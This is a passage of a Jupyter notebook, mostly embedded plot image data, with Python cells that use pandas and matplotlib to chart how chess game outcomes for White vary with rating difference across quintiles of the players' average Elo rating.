z5ql5J3BfCvtXYV\n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\n7hwAAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0xb4aa494c>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "#plot rating difference - outcome function for different player average rating quintiles\n", "\n", "games['avElo']=(games.wElo+games.bElo)/2 #calculate average rating of the two players for each game\n", "games=games[~games.avElo.isnull()] #remove any missing data\n", "\n", "quintile_groups=[\"5th\",\"4th\",\"3rd\",\"2nd\",\"1st\"] #labels for the top 20%, top 21-41%, etc \n", "games['quintile']=pd.qcut(games.avElo,5,labels=quintile_groups) #categorise according to quintile\n", "\n", "quintile_groups.reverse() #just so legend is easier to read\n", "plot_these=['5th','3rd','1st'] #it's a tidier plot with just middle, top and bottom 20%\n", "\n", "fig, axes = plt.subplots(nrows=1, ncols=1, figsize=fsize)\n", "\n", "for i,q in enumerate(quintile_groups):\n", " qn_mean=games[games.quintile==q].groupby('rdiff_cat').mean()['WhiteScore'] #mean\n", " qn_sem=games[games.quintile==q].groupby('rdiff_cat').sem()['WhiteScore'] #standard error\n", " if q in plot_these: \n", " axes.errorbar(bins[:-1]+binwidth/2,qn_mean,yerr=qn_sem*1.96,color=colours[i],fmt=fmts[i],ls=lss[i],lw=lweight,label=q)\n", "\n", " \n", "titletext= 'quintile by player average rating'\n", "\n", "axes.set_xlabel('Difference in rating \\n(White - Black, using bin size = ' + str(binwidth) + ')')\n", "axes.set_ylabel('Average score for White')\n", "axes.set_xlim([-650,650])\n", "\n", "fontP = FontProperties()\n", "fontP.set_size(16)\n", "legend = plt.legend(loc=0, ncol=3, bbox_to_anchor=(0, 0, 1, 1),prop = fontP,fancybox=True,shadow=False,title=titletext)\n", "plt.setp(legend.get_title(),fontsize=16)\n", "\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "See how the change in player average rating changs the sharpness of the function - the intepretation is that absolute differences in rating between players become more predictive for more highly rated players. In other words, higher rated players make more advantage of small differences in ability (note also that the advantage to white at 0 rating difference also grows as the player average rating rises).\n", "\n", "Another way of representing is this is to take some standard curve as a baseline and look for variations around it. Doing this the plot above, using the middle 20% of games, becomes this:" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "[None]" ] }, "execution_count": 7, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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\nY8Z8TP/+fWnQ4E727NlNXFwcn38+g